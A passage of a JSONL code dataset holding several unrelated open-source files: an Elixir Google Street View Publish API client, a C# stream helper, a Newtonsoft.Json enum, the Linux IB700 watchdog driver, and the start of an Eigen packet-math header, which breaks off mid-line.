opts \\\\ []) do\n optional_params_config = %{\n :\"$.xgafv\" => :query,\n :access_token => :query,\n :alt => :query,\n :callback => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :uploadType => :query,\n :upload_protocol => :query,\n :body => :body\n }\n\n request =\n Request.new()\n |> Request.method(:post)\n |> Request.url(\"/v1/photo\", %{})\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.StreetViewPublish.V1.Model.Photo{}])\n end\n\n @doc \"\"\"\n Deletes a Photo and its metadata. This method returns the following error codes: * google.rpc.Code.PERMISSION_DENIED if the requesting user did not create the requested photo. * google.rpc.Code.NOT_FOUND if the photo ID does not exist.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.StreetViewPublish.V1.Connection.t`) - Connection to server\n * `photo_id` (*type:* `String.t`) - Required. ID of the Photo.\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:\"$.xgafv\"` (*type:* `String.t`) - V1 error format.\n * `:access_token` (*type:* `String.t`) - OAuth access token.\n * `:alt` (*type:* `String.t`) - Data format for response.\n * `:callback` (*type:* `String.t`) - JSONP\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters.\n * `:uploadType` (*type:* `String.t`) - Legacy upload protocol for media (e.g. \"media\", \"multipart\").\n * `:upload_protocol` (*type:* `String.t`) - Upload protocol for media (e.g. \"raw\", \"multipart\").\n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.StreetViewPublish.V1.Model.Empty{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec streetviewpublish_photo_delete(Tesla.Env.client(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.StreetViewPublish.V1.Model.Empty.t()}\n | {:ok, Tesla.Env.t()}\n | {:error, any()}\n def streetviewpublish_photo_delete(connection, photo_id, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :\"$.xgafv\" => :query,\n :access_token => :query,\n :alt => :query,\n :callback => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :uploadType => :query,\n :upload_protocol => :query\n }\n\n request =\n Request.new()\n |> Request.method(:delete)\n |> Request.url(\"/v1/photo/{photoId}\", %{\n \"photoId\" => URI.encode(photo_id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.StreetViewPublish.V1.Model.Empty{}])\n end\n\n @doc \"\"\"\n Gets the metadata of the specified Photo. This method returns the following error codes: * google.rpc.Code.PERMISSION_DENIED if the requesting user did not create the requested Photo. * google.rpc.Code.NOT_FOUND if the requested Photo does not exist. * google.rpc.Code.UNAVAILABLE if the requested Photo is still being indexed.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.StreetViewPublish.V1.Connection.t`) - Connection to server\n * `photo_id` (*type:* `String.t`) - Required. ID of the Photo.\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:\"$.xgafv\"` (*type:* `String.t`) - V1 error format.\n * `:access_token` (*type:* `String.t`) - OAuth access token.\n * `:alt` (*type:* `String.t`) - Data format for response.\n * `:callback` (*type:* `String.t`) - JSONP\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters.\n * `:uploadType` (*type:* `String.t`) - Legacy upload protocol for media (e.g. \"media\", \"multipart\").\n * `:upload_protocol` (*type:* `String.t`) - Upload protocol for media (e.g. \"raw\", \"multipart\").\n * `:languageCode` (*type:* `String.t`) - The BCP-47 language code, such as \"en-US\" or \"sr-Latn\". For more information, see http://www.unicode.org/reports/tr35/#Unicode_locale_identifier. If language_code is unspecified, the user's language preference for Google services is used.\n * `:view` (*type:* `String.t`) - Required. Specifies if a download URL for the photo bytes should be returned in the Photo response.\n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.StreetViewPublish.V1.Model.Photo{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec streetviewpublish_photo_get(Tesla.Env.client(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.StreetViewPublish.V1.Model.Photo.t()}\n | {:ok, Tesla.Env.t()}\n | {:error, any()}\n def streetviewpublish_photo_get(connection, photo_id, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :\"$.xgafv\" => :query,\n :access_token => :query,\n :alt => :query,\n :callback => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :uploadType => :query,\n :upload_protocol => :query,\n :languageCode => :query,\n :view => :query\n }\n\n request =\n Request.new()\n |> Request.method(:get)\n |> Request.url(\"/v1/photo/{photoId}\", %{\n \"photoId\" => URI.encode(photo_id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.StreetViewPublish.V1.Model.Photo{}])\n end\n\n @doc \"\"\"\n Creates an upload session to start uploading photo bytes. The method uses the upload URL of the returned UploadRef to upload the bytes for the Photo. In addition to the photo requirements shown in https://support.google.com/maps/answer/7012050?hl=en&ref_topic=6275604, the photo must meet the following requirements: * Photo Sphere XMP metadata must be included in the photo metadata. See https://developers.google.com/streetview/spherical-metadata for the required fields. * The pixel size of the photo must meet the size requirements listed in https://support.google.com/maps/answer/7012050?hl=en&ref_topic=6275604, and the photo must be a full 360 horizontally. After the upload completes, the method uses UploadRef with CreatePhoto to create the Photo object entry.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.StreetViewPublish.V1.Connection.t`) - Connection to server\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:\"$.xgafv\"` (*type:* `String.t`) - V1 error format.\n * `:access_token` (*type:* `String.t`) - OAuth access token.\n * `:alt` (*type:* `String.t`) - Data format for response.\n * `:callback` (*type:* `String.t`) - JSONP\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters.\n * `:uploadType` (*type:* `String.t`) - Legacy upload protocol for media (e.g. \"media\", \"multipart\").\n * `:upload_protocol` (*type:* `String.t`) - Upload protocol for media (e.g. \"raw\", \"multipart\").\n * `:body` (*type:* `GoogleApi.StreetViewPublish.V1.Model.Empty.t`) - \n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.StreetViewPublish.V1.Model.UploadRef{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec streetviewpublish_photo_start_upload(Tesla.Env.client(), keyword(), keyword()) ::\n {:ok, GoogleApi.StreetViewPublish.V1.Model.UploadRef.t()}\n | {:ok, Tesla.Env.t()}\n | {:error, any()}\n def streetviewpublish_photo_start_upload(connection, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :\"$.xgafv\" => :query,\n :access_token => :query,\n :alt => :query,\n :callback => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :uploadType => :query,\n :upload_protocol => :query,\n :body => :body\n }\n\n request =\n Request.new()\n |> Request.method(:post)\n |> Request.url(\"/v1/photo:startUpload\", %{})\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.StreetViewPublish.V1.Model.UploadRef{}])\n end\n\n @doc \"\"\"\n Updates the metadata of a Photo, such as pose, place association, connections, etc. Changing the pixels of a photo is not supported. Only the fields specified in the updateMask field are used. If `updateMask` is not present, the update applies to all fields. This method returns the following error codes: * google.rpc.Code.PERMISSION_DENIED if the requesting user did not create the requested photo. * google.rpc.Code.INVALID_ARGUMENT if the request is malformed. * google.rpc.Code.NOT_FOUND if the requested photo does not exist. * google.rpc.Code.UNAVAILABLE if the requested Photo is still being indexed.\n\n ## Parameters\n\n * `connection` (*type:* `GoogleApi.StreetViewPublish.V1.Connection.t`) - Connection to server\n * `id` (*type:* `String.t`) - Required. A unique identifier for a photo.\n * `optional_params` (*type:* `keyword()`) - Optional parameters\n * `:\"$.xgafv\"` (*type:* `String.t`) - V1 error format.\n * `:access_token` (*type:* `String.t`) - OAuth access token.\n * `:alt` (*type:* `String.t`) - Data format for response.\n * `:callback` (*type:* `String.t`) - JSONP\n * `:fields` (*type:* `String.t`) - Selector specifying which fields to include in a partial response.\n * `:key` (*type:* `String.t`) - API key. Your API key identifies your project and provides you with API access, quota, and reports. Required unless you provide an OAuth 2.0 token.\n * `:oauth_token` (*type:* `String.t`) - OAuth 2.0 token for the current user.\n * `:prettyPrint` (*type:* `boolean()`) - Returns response with indentations and line breaks.\n * `:quotaUser` (*type:* `String.t`) - Available to use for quota purposes for server-side applications. Can be any arbitrary string assigned to a user, but should not exceed 40 characters.\n * `:uploadType` (*type:* `String.t`) - Legacy upload protocol for media (e.g. \"media\", \"multipart\").\n * `:upload_protocol` (*type:* `String.t`) - Upload protocol for media (e.g. \"raw\", \"multipart\").\n * `:updateMask` (*type:* `String.t`) - Required. Mask that identifies fields on the photo metadata to update. If not present, the old Photo metadata is entirely replaced with the new Photo metadata in this request. The update fails if invalid fields are specified. Multiple fields can be specified in a comma-delimited list. The following fields are valid: * `pose.heading` * `pose.latLngPair` * `pose.pitch` * `pose.roll` * `pose.level` * `pose.altitude` * `connections` * `places` *Note:* When updateMask contains repeated fields, the entire set of repeated values get replaced with the new contents. For example, if updateMask contains `connections` and `UpdatePhotoRequest.photo.connections` is empty, all connections are removed.\n * `:body` (*type:* `GoogleApi.StreetViewPublish.V1.Model.Photo.t`) - \n * `opts` (*type:* `keyword()`) - Call options\n\n ## Returns\n\n * `{:ok, %GoogleApi.StreetViewPublish.V1.Model.Photo{}}` on success\n * `{:error, info}` on failure\n \"\"\"\n @spec streetviewpublish_photo_update(Tesla.Env.client(), String.t(), keyword(), keyword()) ::\n {:ok, GoogleApi.StreetViewPublish.V1.Model.Photo.t()}\n | {:ok, Tesla.Env.t()}\n | {:error, any()}\n def streetviewpublish_photo_update(connection, id, optional_params \\\\ [], opts \\\\ []) do\n optional_params_config = %{\n :\"$.xgafv\" => :query,\n :access_token => :query,\n :alt => :query,\n :callback => :query,\n :fields => :query,\n :key => :query,\n :oauth_token => :query,\n :prettyPrint => :query,\n :quotaUser => :query,\n :uploadType => :query,\n :upload_protocol => :query,\n :updateMask => :query,\n :body => :body\n }\n\n request =\n Request.new()\n |> Request.method(:put)\n |> Request.url(\"/v1/photo/{id}\", %{\n \"id\" => URI.encode(id, &(URI.char_unreserved?(&1) || &1 == ?/))\n })\n |> Request.add_optional_params(optional_params_config, optional_params)\n |> Request.library_version(@library_version)\n\n connection\n |> Connection.execute(request)\n |> Response.decode(opts ++ [struct: %GoogleApi.StreetViewPublish.V1.Model.Photo{}])\n end\nend\n"} +{"text": "using System.IO;\n\nnamespace WebMarkupMin.Core.Utilities\n{\n\t/// \n\t/// Memory stream extensions\n\t/// \n\tpublic static class MemoryStreamExtensions\n\t{\n\t\t/// \n\t\t/// Clears a buffer\n\t\t/// \n\t\t/// Instance of \n\t\tpublic static void Clear(this MemoryStream source)\n\t\t{\n\t\t\tif (source.CanWrite)\n\t\t\t{\n\t\t\t\tsource.SetLength(0);\n\t\t\t}\n\t\t}\n\t}\n}"} +{"text": "\n#if (NETFX_CORE || PORTABLE40 || PORTABLE)\nusing SAEA.Common.Newtonsoft.Json.Serialization;\n\nnamespace SAEA.Common.Newtonsoft.Json\n{\n /// \n /// Specifies what messages to output for the class.\n /// \n public enum TraceLevel\n {\n /// \n /// Output no tracing and debugging messages.\n /// \n Off = 0,\n\n /// \n /// Output error-handling messages.\n /// \n Error = 1,\n\n /// \n /// Output warnings and error-handling messages.\n /// \n Warning = 2,\n\n /// \n /// Output informational messages, warnings, and error-handling messages.\n /// \n Info = 3,\n\n /// \n /// Output all debugging and tracing messages.\n /// \n Verbose = 4\n }\n}\n\n#endif"} +{"text": "/*\n *\tIB700 Single Board Computer WDT driver\n *\n *\t(c) Copyright 2001 Charles Howes \n *\n *\tBased on advantechwdt.c which is based on acquirewdt.c which\n *\tis based on wdt.c.\n *\n *\t(c) Copyright 2000-2001 Marek Michalkiewicz \n *\n *\tBased on acquirewdt.c which is based on wdt.c.\n *\tOriginal copyright messages:\n *\n *\t(c) Copyright 1996 Alan Cox ,\n *\t\t\t\t\t\tAll Rights Reserved.\n *\n *\tThis program is free software; you can redistribute it and/or\n *\tmodify it under the terms of the GNU General Public License\n *\tas published by the Free Software Foundation; either version\n *\t2 of the License, or (at your option) any later version.\n *\n *\tNeither Alan Cox nor CymruNet Ltd. admit liability nor provide\n *\twarranty for any of this software. This material is provided\n *\t\"AS-IS\" and at no charge.\n *\n *\t(c) Copyright 1995 Alan Cox \n *\n *\t14-Dec-2001 Matt Domsch \n *\t Added nowayout module option to override CONFIG_WATCHDOG_NOWAYOUT\n *\t Added timeout module option to override default\n *\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\nstatic struct platform_device *ibwdt_platform_device;\nstatic unsigned long ibwdt_is_open;\nstatic DEFINE_SPINLOCK(ibwdt_lock);\nstatic char expect_close;\n\n/* Module information */\n#define DRV_NAME \"ib700wdt\"\n#define PFX DRV_NAME \": \"\n\n/*\n *\n * Watchdog Timer Configuration\n *\n * The function of the watchdog timer is to reset the system\n * automatically and is defined at I/O port 0443H. To enable the\n * watchdog timer and allow the system to reset, write I/O port 0443H.\n * To disable the timer, write I/O port 0441H for the system to stop the\n * watchdog function. The timer has a tolerance of 20% for its\n * intervals.\n *\n * The following describes how the timer should be programmed.\n *\n * Enabling Watchdog:\n * MOV AX,000FH (Choose the values from 0 to F)\n * MOV DX,0443H\n * OUT DX,AX\n *\n * Disabling Watchdog:\n * MOV AX,000FH (Any value is fine.)\n * MOV DX,0441H\n * OUT DX,AX\n *\n * Watchdog timer control table:\n * Level Value Time/sec | Level Value Time/sec\n * 1 F 0 | 9 7 16\n * 2 E 2 | 10 6 18\n * 3 D 4 | 11 5 20\n * 4 C 6 | 12 4 22\n * 5 B 8 | 13 3 24\n * 6 A 10 | 14 2 26\n * 7 9 12 | 15 1 28\n * 8 8 14 | 16 0 30\n *\n */\n\n#define WDT_STOP 0x441\n#define WDT_START 0x443\n\n/* Default timeout */\n#define WATCHDOG_TIMEOUT 30\t\t/* 30 seconds +/- 20% */\nstatic int timeout = WATCHDOG_TIMEOUT;\t/* in seconds */\nmodule_param(timeout, int, 0);\nMODULE_PARM_DESC(timeout,\n\t\"Watchdog timeout in seconds. 0<= timeout <=30, default=\"\n\t\t__MODULE_STRING(WATCHDOG_TIMEOUT) \".\");\n\nstatic int nowayout = WATCHDOG_NOWAYOUT;\nmodule_param(nowayout, int, 0);\nMODULE_PARM_DESC(nowayout,\n\t\t\"Watchdog cannot be stopped once started (default=\"\n\t\t\t\t__MODULE_STRING(WATCHDOG_NOWAYOUT) \")\");\n\n\n/*\n *\tWatchdog Operations\n */\n\nstatic void ibwdt_ping(void)\n{\n\tint wd_margin = 15 - ((timeout + 1) / 2);\n\n\tspin_lock(&ibwdt_lock);\n\n\t/* Write a watchdog value */\n\toutb_p(wd_margin, WDT_START);\n\n\tspin_unlock(&ibwdt_lock);\n}\n\nstatic void ibwdt_disable(void)\n{\n\tspin_lock(&ibwdt_lock);\n\toutb_p(0, WDT_STOP);\n\tspin_unlock(&ibwdt_lock);\n}\n\nstatic int ibwdt_set_heartbeat(int t)\n{\n\tif (t < 0 || t > 30)\n\t\treturn -EINVAL;\n\n\ttimeout = t;\n\treturn 0;\n}\n\n/*\n *\t/dev/watchdog handling\n */\n\nstatic ssize_t ibwdt_write(struct file *file, const char __user *buf,\n\t\t\t\t\t\tsize_t count, loff_t *ppos)\n{\n\tif (count) {\n\t\tif (!nowayout) {\n\t\t\tsize_t i;\n\n\t\t\t/* In case it was set long ago */\n\t\t\texpect_close = 0;\n\n\t\t\tfor (i = 0; i != count; i++) {\n\t\t\t\tchar c;\n\t\t\t\tif (get_user(c, buf + i))\n\t\t\t\t\treturn -EFAULT;\n\t\t\t\tif (c == 'V')\n\t\t\t\t\texpect_close = 42;\n\t\t\t}\n\t\t}\n\t\tibwdt_ping();\n\t}\n\treturn count;\n}\n\nstatic long ibwdt_ioctl(struct file *file, unsigned int cmd, unsigned long arg)\n{\n\tint new_margin;\n\tvoid __user *argp = (void __user *)arg;\n\tint __user *p = argp;\n\n\tstatic const struct watchdog_info ident = {\n\t\t.options = WDIOF_KEEPALIVEPING | WDIOF_SETTIMEOUT\n\t\t\t\t\t\t\t| WDIOF_MAGICCLOSE,\n\t\t.firmware_version = 1,\n\t\t.identity = \"IB700 WDT\",\n\t};\n\n\tswitch (cmd) {\n\tcase WDIOC_GETSUPPORT:\n\t\tif (copy_to_user(argp, &ident, sizeof(ident)))\n\t\t\treturn -EFAULT;\n\t\tbreak;\n\n\tcase WDIOC_GETSTATUS:\n\tcase WDIOC_GETBOOTSTATUS:\n\t\treturn put_user(0, p);\n\n\tcase WDIOC_SETOPTIONS:\n\t{\n\t\tint options, retval = -EINVAL;\n\n\t\tif (get_user(options, p))\n\t\t\treturn -EFAULT;\n\n\t\tif (options & WDIOS_DISABLECARD) {\n\t\t\tibwdt_disable();\n\t\t\tretval = 0;\n\t\t}\n\t\tif (options & WDIOS_ENABLECARD) {\n\t\t\tibwdt_ping();\n\t\t\tretval = 0;\n\t\t}\n\t\treturn retval;\n\t}\n\tcase WDIOC_KEEPALIVE:\n\t\tibwdt_ping();\n\t\tbreak;\n\n\tcase WDIOC_SETTIMEOUT:\n\t\tif (get_user(new_margin, p))\n\t\t\treturn -EFAULT;\n\t\tif (ibwdt_set_heartbeat(new_margin))\n\t\t\treturn -EINVAL;\n\t\tibwdt_ping();\n\t\t/* Fall */\n\n\tcase WDIOC_GETTIMEOUT:\n\t\treturn put_user(timeout, p);\n\n\tdefault:\n\t\treturn -ENOTTY;\n\t}\n\treturn 0;\n}\n\nstatic int ibwdt_open(struct inode *inode, struct file *file)\n{\n\tif (test_and_set_bit(0, &ibwdt_is_open))\n\t\treturn -EBUSY;\n\tif (nowayout)\n\t\t__module_get(THIS_MODULE);\n\n\t/* Activate */\n\tibwdt_ping();\n\treturn nonseekable_open(inode, file);\n}\n\nstatic int ibwdt_close(struct inode *inode, struct file *file)\n{\n\tif (expect_close == 42) {\n\t\tibwdt_disable();\n\t} else {\n\t\tprintk(KERN_CRIT PFX\n\t\t \"WDT device closed unexpectedly. WDT will not stop!\\n\");\n\t\tibwdt_ping();\n\t}\n\tclear_bit(0, &ibwdt_is_open);\n\texpect_close = 0;\n\treturn 0;\n}\n\n/*\n *\tKernel Interfaces\n */\n\nstatic const struct file_operations ibwdt_fops = {\n\t.owner\t\t= THIS_MODULE,\n\t.llseek\t\t= no_llseek,\n\t.write\t\t= ibwdt_write,\n\t.unlocked_ioctl\t= ibwdt_ioctl,\n\t.open\t\t= ibwdt_open,\n\t.release\t= ibwdt_close,\n};\n\nstatic struct miscdevice ibwdt_miscdev = {\n\t.minor = WATCHDOG_MINOR,\n\t.name = \"watchdog\",\n\t.fops = &ibwdt_fops,\n};\n\n/*\n *\tInit & exit routines\n */\n\nstatic int __devinit ibwdt_probe(struct platform_device *dev)\n{\n\tint res;\n\n#if WDT_START != WDT_STOP\n\tif (!request_region(WDT_STOP, 1, \"IB700 WDT\")) {\n\t\tprintk(KERN_ERR PFX \"STOP method I/O %X is not available.\\n\",\n\t\t\t\t\t\t\t\tWDT_STOP);\n\t\tres = -EIO;\n\t\tgoto out_nostopreg;\n\t}\n#endif\n\n\tif (!request_region(WDT_START, 1, \"IB700 WDT\")) {\n\t\tprintk(KERN_ERR PFX \"START method I/O %X is not available.\\n\",\n\t\t\t\t\t\t\t\tWDT_START);\n\t\tres = -EIO;\n\t\tgoto out_nostartreg;\n\t}\n\n\t/* Check that the heartbeat value is within it's range ;\n\t * if not reset to the default */\n\tif (ibwdt_set_heartbeat(timeout)) {\n\t\tibwdt_set_heartbeat(WATCHDOG_TIMEOUT);\n\t\tprintk(KERN_INFO PFX\n\t\t\t\"timeout value must be 0<=x<=30, using %d\\n\", timeout);\n\t}\n\n\tres = misc_register(&ibwdt_miscdev);\n\tif (res) {\n\t\tprintk(KERN_ERR PFX \"failed to register misc device\\n\");\n\t\tgoto out_nomisc;\n\t}\n\treturn 0;\n\nout_nomisc:\n\trelease_region(WDT_START, 1);\nout_nostartreg:\n#if WDT_START != WDT_STOP\n\trelease_region(WDT_STOP, 1);\n#endif\nout_nostopreg:\n\treturn res;\n}\n\nstatic int __devexit ibwdt_remove(struct platform_device *dev)\n{\n\tmisc_deregister(&ibwdt_miscdev);\n\trelease_region(WDT_START, 1);\n#if WDT_START != WDT_STOP\n\trelease_region(WDT_STOP, 1);\n#endif\n\treturn 0;\n}\n\nstatic void ibwdt_shutdown(struct platform_device *dev)\n{\n\t/* Turn the WDT off if we have a soft shutdown */\n\tibwdt_disable();\n}\n\nstatic struct platform_driver ibwdt_driver = {\n\t.probe\t\t= ibwdt_probe,\n\t.remove\t\t= __devexit_p(ibwdt_remove),\n\t.shutdown\t= ibwdt_shutdown,\n\t.driver\t\t= {\n\t\t.owner\t= THIS_MODULE,\n\t\t.name\t= DRV_NAME,\n\t},\n};\n\nstatic int __init ibwdt_init(void)\n{\n\tint err;\n\n\tprintk(KERN_INFO PFX\n\t\t\"WDT driver for IB700 single board computer initialising.\\n\");\n\n\terr = platform_driver_register(&ibwdt_driver);\n\tif (err)\n\t\treturn err;\n\n\tibwdt_platform_device = platform_device_register_simple(DRV_NAME,\n\t\t\t\t\t\t\t\t-1, NULL, 0);\n\tif (IS_ERR(ibwdt_platform_device)) {\n\t\terr = PTR_ERR(ibwdt_platform_device);\n\t\tgoto unreg_platform_driver;\n\t}\n\n\treturn 0;\n\nunreg_platform_driver:\n\tplatform_driver_unregister(&ibwdt_driver);\n\treturn err;\n}\n\nstatic void __exit ibwdt_exit(void)\n{\n\tplatform_device_unregister(ibwdt_platform_device);\n\tplatform_driver_unregister(&ibwdt_driver);\n\tprintk(KERN_INFO PFX \"Watchdog Module Unloaded.\\n\");\n}\n\nmodule_init(ibwdt_init);\nmodule_exit(ibwdt_exit);\n\nMODULE_AUTHOR(\"Charles Howes \");\nMODULE_DESCRIPTION(\"IB700 SBC watchdog driver\");\nMODULE_LICENSE(\"GPL\");\nMODULE_ALIAS_MISCDEV(WATCHDOG_MINOR);\n\n/* end of ib700wdt.c */\n"} +{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008 Gael Guennebaud \n// Copyright (C) 2006-2008 Benoit Jacob \n//\n// Eigen is free software; you can redistribute it and/or\n// modify it under the terms of the GNU Lesser General Public\n// License as published by the Free Software Foundation; either\n// version 3 of the License, or (at your option) any later version.\n//\n// Alternatively, you can redistribute it and/or\n// modify it under the terms of the GNU General Public License as\n// published by the Free Software Foundation; either version 2 of\n// the License, or (at your option) any later version.\n//\n// Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n// FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU Lesser General Public\n// License and a copy of the GNU General Public License along with\n// Eigen. If not, see .\n\n#ifndef EIGEN_GENERIC_PACKET_MATH_H\n#define EIGEN_GENERIC_PACKET_MATH_H\n\nnamespace internal {\n\n/** \\internal\n * \\file GenericPacketMath.h\n *\n * Default implementation for types not supported by the vectorization.\n * In practice these functions are provided to make easier the writing\n * of generic vectorized code.\n */\n\n#ifndef EIGEN_DEBUG_ALIGNED_LOAD\n#define EIGEN_DEBUG_ALIGNED_LOAD\n#endif\n\n#ifndef EIGEN_DEBUG_UNALIGNED_LOAD\n#define EIGEN_DEBUG_UNALIGNED_LOAD\n#endif\n\n#ifndef EIGEN_DEBUG_ALIGNED_STORE\n#define EIGEN_DEBUG_ALIGNED_STORE\n#endif\n\n#ifndef EIGEN_DEBUG_UNALIGNED_STORE\n#define EIGEN_DEBUG_UNALIGNED_STORE\n#endif\n\nstruct default_packet_traits\n{\n enum {\n HasAdd = 1,\n HasSub = 1,\n HasMul = 1,\n HasNegate = 1,\n HasAbs = 1,\n HasAbs2 = 1,\n HasMin = 1,\n HasMax = 1,\n HasConj = 1,\n HasSetLinear = 1,\n\n HasDiv = 0,\n HasSqrt = 0,\n HasExp = 0,\n HasLog = 0,\n HasPow = 0,\n\n HasSin = 0,\n HasCos = 0,\n HasTan = 0,\n HasASin = 0,\n HasACos = 0,\n HasATan = 0\n };\n};\n\ntemplate struct packet_traits : default_packet_traits\n{\n typedef T type;\n enum {\n Vectorizable = 0,\n size = 1,\n AlignedOnScalar = 0\n };\n enum {\n HasAdd = 0,\n HasSub = 0,\n HasMul = 0,\n HasNegate = 0,\n HasAbs = 0,\n HasAbs2 = 0,\n HasMin = 0,\n HasMax = 0,\n HasConj = 0,\n HasSetLinear = 0\n };\n};\n\n/** \\internal \\returns a + b (coeff-wise) */\ntemplate inline Packet\npadd(const Packet& a,\n const Packet& b) { return a+b; }\n\n/** \\internal \\returns a - b (coeff-wise) */\ntemplate inline Packet\npsub(const Packet& a,\n const Packet& b) { return a-b; }\n\n/** \\internal \\returns -a (coeff-wise) */\ntemplate inline Packet\npnegate(const Packet& a) { return -a; }\n\n/** \\internal \\returns conj(a) (coeff-wise) */\ntemplate inline Packet\npconj(const Packet& a) { return conj(a); }\n\n/** \\internal \\returns a * b (coeff-wise) */\ntemplate inline Packet\npmul(const Packet& a,\n const Packet& b) { return a*b; }\n\n/** \\internal \\returns a / b (coeff-wise) */\ntemplate inline Packet\npdiv(const Packet& a,\n const Packet& b) { return a/b; }\n\n/** \\internal \\returns the min of \\a a and \\a b (coeff-wise) */\ntemplate inline Packet\npmin(const Packet& a,\n const Packet& b) { using std::min; return (min)(a, b); }\n\n/** \\internal \\returns the max of \\a a and \\a b (coeff-wise) */\ntemplate inline Packet\npmax(const Packet& a,\n const Packet& b) { using std::max; return (max)(a, b); }\n\n/** \\internal \\returns the absolute value of \\a a */\ntemplate inline Packet\npabs(const Packet& a) { return abs(a); }\n\n/** \\internal \\returns the bitwise and of \\a a and \\a b */\ntemplate inline Packet\npand(const Packet& a, const Packet& b) { return a & b; }\n\n/** \\internal \\returns the bitwise or of \\a a and \\a b */\ntemplate inline Packet\npor(const Packet& a, const Packet& b) { return a | b; }\n\n/** \\internal \\returns the bitwise xor of \\a a and \\a b */\ntemplate inline Packet\npxor(const Packet& a, const Packet& b) { return a ^ b; }\n\n/** \\internal \\returns the bitwise andnot of \\a a and \\a b */\ntemplate inline Packet\npandnot(const Packet& a, const Packet& b) { return a & (!b); }\n\n/** \\internal \\returns a packet version of \\a *from, from must be 16 bytes aligned */\ntemplate inline Packet\npload(const typename unpacket_traits::type* from) { return *from; }\n\n/** \\internal \\returns a packet version of \\a *from, (un-aligned load) */\ntemplate inline Packet\nploadu(const typename unpacket_traits::type* from) { return *from; }\n\n/** \\internal \\returns a packet with elements of \\a *from duplicated, e.g.: (from[0],from[0],from[1],from[1]) */\ntemplate inline Packet\nploaddup(const typename unpacket_traits::type* from) { return *from; }\n\n/** \\internal \\returns a packet with constant coefficients \\a a, e.g.: (a,a,a,a) */\ntemplate inline Packet\npset1(const typename unpacket_traits::type& a) { return a; }\n\n/** \\internal \\brief Returns a packet with coefficients (a,a+1,...,a+packet_size-1). */\ntemplate inline typename packet_traits::type\nplset(const Scalar& a) { return a; }\n\n/** \\internal copy the packet \\a from to \\a *to, \\a to must be 16 bytes aligned */\ntemplate inline void pstore(Scalar* to, const Packet& from)\n{ (*to) = from; }\n\n/** \\internal copy the packet \\a from to \\a *to, (un-aligned store) */\ntemplate inline void pstoreu(Scalar* to, const Packet& from)\n{ (*to) = from; }\n\n/** \\internal tries to do cache prefetching of \\a addr */\ntemplate inline void prefetch(const Scalar* addr)\n{\n#if !defined(_MSC_VER)\n__builtin_prefetch(addr);\n#endif\n}\n\n/** \\internal \\returns the first element of a packet */\ntemplate inline typename 